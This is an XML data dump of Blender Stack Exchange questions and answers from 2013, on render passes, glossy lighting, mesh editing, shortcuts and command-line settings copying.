  <row Id="3591" PostTypeId="2" ParentId="3587" CreationDate="2013-10-30T20:05:19.103" Score="3" Body="&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&lt;h2&gt;Shadeless image:&lt;/h2&gt;&#xA;&lt;p&gt;You can do this in cycles by enabling the &lt;em&gt;Color passes&lt;/em&gt; in &lt;em&gt;Renderlayers &amp;gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gCON1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then add them together in the compositor with &lt;em&gt;Mix&lt;/em&gt; nodes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ClQLF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Original image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SXaxn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Post composite:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7qlr2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Shading only:&lt;/h2&gt;&#xA;&lt;p&gt;You can get only the shading of the render by dividing the full render and the color pass:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FnK4g.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The reason the large cube appears as if it is still textured is that it has a &lt;em&gt;Glass&lt;/em&gt; material, so that &lt;em&gt;is&lt;/em&gt; the shading result. To prove this we can multiply it back with the color pass and we will get the full render again:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BHsnJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Blender internal:&lt;/h1&gt;&#xA;&lt;p&gt;You could get a &amp;quot;shadeless&amp;quot; pass in BI with the &lt;em&gt;Color&lt;/em&gt; pass in &lt;em&gt;Renderlayers &amp;gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSMHZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RzUCX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Saving multiple images from the compositor:&lt;/h1&gt;&#xA;&lt;p&gt;You could then save the shadeless images in a separate directory with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Output#File_Output_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;File output&lt;/em&gt;&lt;/a&gt; node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nbrnt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that the output connected to the &lt;em&gt;composite output&lt;/em&gt; node will be saved to the path specified &lt;em&gt;Render settings &amp;gt; Output&lt;/em&gt;. In the absence of a &lt;em&gt;Composite&lt;/em&gt;  node, the raw render will be saved.&lt;/p&gt;&#xA;&lt;p&gt;The above node setup the raw render is saved to the path in &lt;em&gt;Render settings &amp;gt; Output&lt;/em&gt; (in this case &lt;code&gt;/tmp/&lt;/code&gt;) and the shadeless image is saved to &lt;code&gt;/tmp/shadeless/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-31T21:54:11.783" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3592" PostTypeId="1" AcceptedAnswerId="3639" CreationDate="2013-10-30T20:23:15.627" Score="11" ViewCount="2829" Body="&lt;p&gt;I would like to define a shortcut that allows to call a custom translate function while translating. Like &lt;kbd&gt;G&lt;/kbd&gt; for Vertex move and &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; for vertex slide, my shortcut should allow &lt;kbd&gt;G&lt;/kbd&gt; for Blender's translate and &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; would call my custom translate function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with a modal operator calling blender's translate function and an elif event in ('G'): my_translate but it hitting &lt;kbd&gt;G&lt;/kbd&gt; while translating just doesn't do anything (no error in console output).&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="151" LastEditDate="2013-10-31T11:58:37.957" LastActivityDate="2015-12-29T12:25:11.200" Title="How to define double shortcut like GG" Tags="&lt;scripting&gt;&lt;python&gt;&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3593" PostTypeId="2" ParentId="3569" CreationDate="2013-10-30T21:26:03.387" Score="1" Body="&lt;p&gt;This seems to be caused by the Subsurf modifier on the Suzanne.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame &lt;code&gt;124&lt;/code&gt; with the Subsurf modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bPyS0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame &lt;code&gt;124&lt;/code&gt; with the Subsurf applied:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jBXiL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition the Backdrop had a collision margin of &lt;code&gt;4cm&lt;/code&gt;, in the images above it is set to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparison of frame &lt;code&gt;124&lt;/code&gt; with the collision margin of the BackDrop set to &lt;code&gt;4cm&lt;/code&gt; and &lt;code&gt;0m&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l25Zx.png&quot; alt=&quot;enter image description here&quot; title=&quot;4cm margin&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/466NQ.png&quot; alt=&quot;enter image description here&quot; title=&quot;0m margin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also set the &lt;em&gt;Collision shape&lt;/em&gt; of the Suzanne to &lt;em&gt;Convex Hull&lt;/em&gt; and disabled &lt;em&gt;Collision margin&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-11-01T01:41:59.027" LastActivityDate="2013-11-01T01:41:59.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3594" PostTypeId="1" AcceptedAnswerId="3595" CreationDate="2013-10-30T23:06:10.540" Score="10" ViewCount="5652" Body="&lt;p&gt;Working on a candle project to practice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the 'world' properties I have turned the strength down to 0 (thus making it pitch black). I then added a lamp to the workspace and adjust its strength to 1-2 (doesn't matter) and it starts lighting up the candle. If I adjust the strength too high the candle starts getting over-exposed looking and just stark white, but the ground remains mostly black. You can BARELY see the ground's reflective surface, but the sun lamp seems to have no affect on the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the Glossy BSDF property from the ground the ground then reacts to the sun lamp as expected, immediately getting brighter to match the lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this? Shouldn't reflective surfaces still brighten up a bit when a lamp hits them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left you have the exact same image, nothing changed except for the properties of the ground with (left) and without (right) the Glossy BSDF characteristic. (which expands beyond the entire image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J6Dso.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="599" LastEditDate="2013-10-31T01:32:06.743" LastActivityDate="2013-11-02T03:11:26.930" Title="How do you make a lamp light up glossy surfaces?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3595" PostTypeId="2" ParentId="3594" CreationDate="2013-10-31T02:03:15.220" Score="9" Body="&lt;p&gt;I think your problem is that light is being reflected of the ground plane, but not into the camera. (see &lt;a href=&quot;http://en.wikipedia.org/wiki/Specular_reflection&quot; rel=&quot;nofollow noreferrer&quot;&gt;specular reflection&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Shouldn't reflective surfaces still brighten up a bit when a lamp hits them&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not a matter of &quot;brightening&quot;, the light has to hit the plane and then get bounced into the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Diffuse_reflection&quot; rel=&quot;nofollow noreferrer&quot;&gt;Diffuse objects scatter light&lt;/a&gt;, so they bounce some light into the camera regardless of the angle. Completely glossy objects (no &lt;em&gt;Roughness&lt;/em&gt;) will bounce light without scattering it at all, and slightly rough glossy surfaces will scatter light slightly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sJlmT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize this in 2d:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XMqU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the camera will not receive any light from the (slightly rough) plane. Except for light reflected of the diffuse object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/swONG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Workarounds:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To work around this, you could:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add more lights. You could add a light in front of the camera and behind the object which bounces light off the plane into the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QRVi1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the world background brightness (in the real world there is almost always some ambient light) You could make it so the world appears black to the camera while actually emitting a little bit of light by means of the &lt;em&gt;Lightpath&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6iiI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a tiny bit of diffuse reflection to the glossy shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xoa7L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The diffuse shader input color brightness controls how much diffuse is added. (black is none)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mix some diffuse reflection into the glossy shader. (with a mix shader) Note that this is slightly different than adding.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Replies to comments:&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thank you for this great response! Unfortunately, adding additional&#xA;  lamps on the far side of the object has absolutely zero affect on what&#xA;  the ground looks like. The ground has not seemingly changed one pixel&#xA;  with the addition of another lamp or with the moving and re-adjusting&#xA;  of the lamps and their strength. It HAS affected the candle though,&#xA;  and the candlestick has a glossy finish, so I don't understand why the&#xA;  planar floor won't do what the candle base is doing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on the angle of the surface and the camera. (and the type of lamp)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a feel for this you might want to try playing with the view (with viewport rendering on) with just the plane and a couple lamps to get an idea of how this works.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I should add that I wanted the candle to appear to be the only light in the room. I made the flame an emission source and that lights up just fine, but when the candle and candlestick are lit up but the floor is not it just looks weird&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In that case you probably don't want to add extra lights. (you might even want to remove all the lights except for the candle flame)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that in an actual room there is some indirect lighting from the walls and other objects. You could set the world to a very dark color (but not black) to simulate this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the end you were right. I had my floor as a glossy surface, with a roughness of .100 which apparently makes the surface too glossy to reflect light? I had to make it a .2 or higher to get any sort of light reflection off the object. Although I feel like even a polished brass sphere should glow when a light hits it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, an object is only visible when light bounces off it &lt;em&gt;and into the camera&lt;/em&gt;. AFAIK, there is no such thing as &quot;too glossy to reflect light&quot;, it's just not reflecting light where you want it. (i.e. the camera)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason increasing the roughness makes reflections more visible is that it scatters light in more directions, increasing the probability that some light will enter the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the solution you want here is to mix some &lt;a href=&quot;http://en.wikipedia.org/wiki/Diffuse_reflection&quot; rel=&quot;nofollow noreferrer&quot;&gt;diffuse reflection&lt;/a&gt; into your glossy material. This will bounce light in pretty much every direction, making sure everything is visible to the camera.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I had any questions left, I'd ask if there's a way to adjust the&#xA;  intensity of an emission source that isn't actually a lamp? As it&#xA;  stands I have the flame set as an emission 'texture' but i put a lamp&#xA;  inside the object and adjusted the lamps brightness to compensate for&#xA;  the flame's lack of brightness.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by emission texture, but if you are asking what I think you are asking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make an emission shader that appears the color set in the &lt;em&gt;Color input&lt;/em&gt; while emitting more light than a &lt;em&gt;Strength&lt;/em&gt; of &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xS9Ur.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only an emission shader with a strength of &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;20&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RLK3a.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/WlSpb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zbze5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Example renders:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Completely black world with some diffuse mixed with the glossy materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5LOsp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Completely black world with only glossy reflection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XfIa5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only glossy with a mesh light (selected) affecting the glossy floor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZcXQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-02T03:11:26.930" LastActivityDate="2013-11-02T03:11:26.930" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3597" PostTypeId="1" AcceptedAnswerId="3652" CreationDate="2013-10-31T06:48:06.467" Score="1" ViewCount="196" Body="&lt;p&gt;I am trying to use the event from a thread as an event in a modal operator, is this possible using the &lt;code&gt;bpy.types.Event&lt;/code&gt; somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I have to set a timer and check if the event is true?&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="1363" LastEditDate="2014-02-15T01:14:44.483" LastActivityDate="2014-02-15T01:14:44.483" Title="Can threading.event be used as an event in an modal operator?" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3598" PostTypeId="1" AcceptedAnswerId="3599" CreationDate="2013-10-31T07:34:29.837" Score="4" ViewCount="131" Body="&lt;p&gt;When i downloaded the latest version of blender, this option show up in splash screen &quot;Copy settings from previous&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to do it in command line? because I have 50 pc and I want to simplify the process using ssh and run blender from command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2013-10-31T08:24:09.197" Title="How to copy settings from previous using command line" Tags="&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3599" PostTypeId="2" ParentId="3598" CreationDate="2013-10-31T08:11:37.167" Score="5" Body="&lt;p&gt;Look at the tooltips, Mas Aditia, and you'll see that it's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.wm.html#bpy.ops.wm.copy_prev_settings&quot;&gt;&lt;code&gt;wm.copy_prev_settings&lt;/code&gt;&lt;/a&gt;. For remote deployment, it might also be necessary to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.wm.html#bpy.ops.wm.quit_blender&quot;&gt;&lt;code&gt;quit_blender&lt;/code&gt;&lt;/a&gt; right after executing the script. So the simplest script would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.wm.copy_prev_settings()&#xA;bpy.ops.wm.quit_blender()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save it as to a script file with any name, and execute Blender while running the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -P &amp;lt;script_name&amp;gt;.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the operator copies the config folder right away, nothing else needs to be done.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-10-31T08:24:09.197" LastActivityDate="2013-10-31T08:24:09.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3601" PostTypeId="2" ParentId="3589" CreationDate="2013-10-31T09:36:28.657" Score="1" Body="&lt;p&gt;You could move all objects, that are to be faded in simultanously, to the same scene layer. Then setup a render layer that only renders this scene layer. In the compositor you can easily fade in this render layer.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-10-31T09:36:28.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3602" PostTypeId="1" AcceptedAnswerId="3608" CreationDate="2013-10-31T11:16:56.533" Score="3" ViewCount="245" Body="&lt;p&gt;I've got a bunch of planes that are perfectly lined up with the coordinate space, so I can't see them when I go to either front, side, or top view. Is it possible to give planes some thickness for the real-time display, just so I don't lose track of them when I'm editing other meshes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine giving them all a thickness modifier that is disabled for rendering, but that seems like a big pain in the neck.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="47" LastEditDate="2016-01-03T21:02:43.287" LastActivityDate="2016-01-03T21:02:43.287" Title="Giving planes thickness in real-time display" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3603" PostTypeId="1" AcceptedAnswerId="3605" CreationDate="2013-10-31T11:17:38.677" Score="6" ViewCount="4015" Body="&lt;p&gt;I have a mesh with a cylindrical extrusion and I would like to make this extrusion appear like a cone or needle.  I have tried scaling the end faces/edges/verts of the cylinder, but this scales the entire mesh.  I do not want to scale the entire mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+================+&#xA;|                |&#xA;|                +=============================+&#xA;|                                              |&#xA;|                           cylinder           |         &#xA;|                                              |&#xA;|    (mesh)      +=============================+&#xA;|                |&#xA;+================+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Desired result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+================+&#xA;|                |&#xA;|                +=============+&#xA;|                               ========+                &#xA;|                   needle/cone          ======             &#xA;|                               ========+              &#xA;|    (mesh)      +=============+&#xA;|                |&#xA;+================+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, I'm in Edit Mode and, yes, pivot center is set to Median Point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://screencast.com/t/ATt40tLXL&quot;&gt;Here's a screencast of what is happening&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-10-31T11:49:27.503" LastActivityDate="2013-11-07T19:36:57.920" Title="How can I transform one end of a cylindrical extrusion to create a cone or needle-like structure?" Tags="&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3604" PostTypeId="1" AcceptedAnswerId="3616" CreationDate="2013-10-31T11:37:18.727" Score="1" ViewCount="954" Body="&lt;p&gt;I have a character/creature I am attempting to model whose anatomy is quite obscure and disproportionate.  Very long tentacle-like structures protruding from a mushroom-like torso just to name a few characteristics.  My initial idea was to start with a base mesh object like a cylinder and just transform/scale/rotate/subdivide that cylinder until voilà: my creature has been modeled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm thinking I will need to tackle each limb/tentacle/section separately and build the entire creature out of many base mesh objects.  Perhaps, a cylinder for the torso, some cones for the tentacles, etc.  However, this approach will leave me with a bunch of disconnected body parts that I will somehow need to &quot;fuse&quot; together.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What approach is most efficient?  If neither of my approaches sound like the right thing to do, I would greatly appreciate a detailed explanation of an alternative approach.  Examples would be nice too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I'm going with creating and/or duplicating objects and linking/unlinking them as necessary.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-10-31T14:04:32.460" LastActivityDate="2013-10-31T16:49:51.130" Title="What is the best approach to modeling a non-human character with an obscure/disproportionate anatomy?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3605" PostTypeId="2" ParentId="3603" CreationDate="2013-10-31T11:39:40.027" Score="8" Body="&lt;p&gt;You are either in Object Mode or have the whole mesh selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you are in Edit Mode (&lt;kbd&gt;Tab&lt;/kbd&gt;). In the header of the 3D View:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sZCgn.png&quot; alt=&quot;Edit Mode selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;A&lt;/kbd&gt; repeatedly until nothing is selected. Then use border select (&lt;kbd&gt;B&lt;/kbd&gt;) for example to select the right most vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bTVs.png&quot; alt=&quot;Selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then scale them down. It might be that you have to change your pivot point to Median Point.&#xA;Again in the 3D View header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwE9n.png&quot; alt=&quot;Median Point selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have to make sure that proportional editing is off (&lt;kbd&gt;O&lt;/kbd&gt;) (header again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bkmhL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-10-31T11:59:34.537" LastActivityDate="2013-10-31T11:59:34.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3606" PostTypeId="1" AcceptedAnswerId="3615" CreationDate="2013-10-31T11:54:39.930" Score="43" ViewCount="75159" Body="&lt;p&gt;While rendering a mesh with smooth shading on, I get a dark region/shadow on certain faces.&#xA;The effect is more evident when smooth shading is applied to a mesh containing ngons, with the ngons turning black when rendered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blackening effect is visible in the viewport too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="599" LastEditDate="2015-07-23T18:39:04.450" LastActivityDate="2021-03-31T14:06:34.510" Title="Why are some faces in my mesh darker?" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="3607" PostTypeId="1" AcceptedAnswerId="3632" CreationDate="2013-10-31T12:01:11.913" Score="12" ViewCount="2812" Body="&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; &amp;mdash; What exactly does it do? After subdivisions or loop cuts, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; does not seem to select some loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should one do to define a loop? How can I use select edge loops efficiently?&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="12" LastEditDate="2013-10-31T20:06:07.073" LastActivityDate="2015-03-30T05:45:47.107" Title="What exactly does edge loop selection do?" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3608" PostTypeId="2" ParentId="3602" CreationDate="2013-10-31T12:02:13.187" Score="2" Body="&lt;p&gt;I only see your problem when you are in orthographic view and your plane overlaps with one axis line. You could go into &lt;em&gt;Properties -&gt; Object -&gt; Display panel&lt;/em&gt; and enable &lt;em&gt;Axis&lt;/em&gt; or &lt;em&gt;Wire&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="599" LastEditDate="2013-11-01T00:44:19.177" LastActivityDate="2013-11-01T00:44:19.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3609" PostTypeId="2" ParentId="3607" CreationDate="2013-10-31T12:03:31.553" Score="6" Body="&lt;p&gt;There is no option to tell Blender, that something is an edge loop. An edge loop is defined by the topology of your mesh. It is a loop consisting of edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An edge loop, in computer graphics, can loosely be defined as a set of connected edges across a surface. Usually the last edge meets again with the first edge, thus forming a loop. The set or string of edges can for example be the outer edges of a flat surface or the edges surrounding a 'hole' in a surface.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See Blender Wiki for more details: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting/Edges&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting/Edges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-11-01T10:20:21.007" LastActivityDate="2013-11-01T10:20:21.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
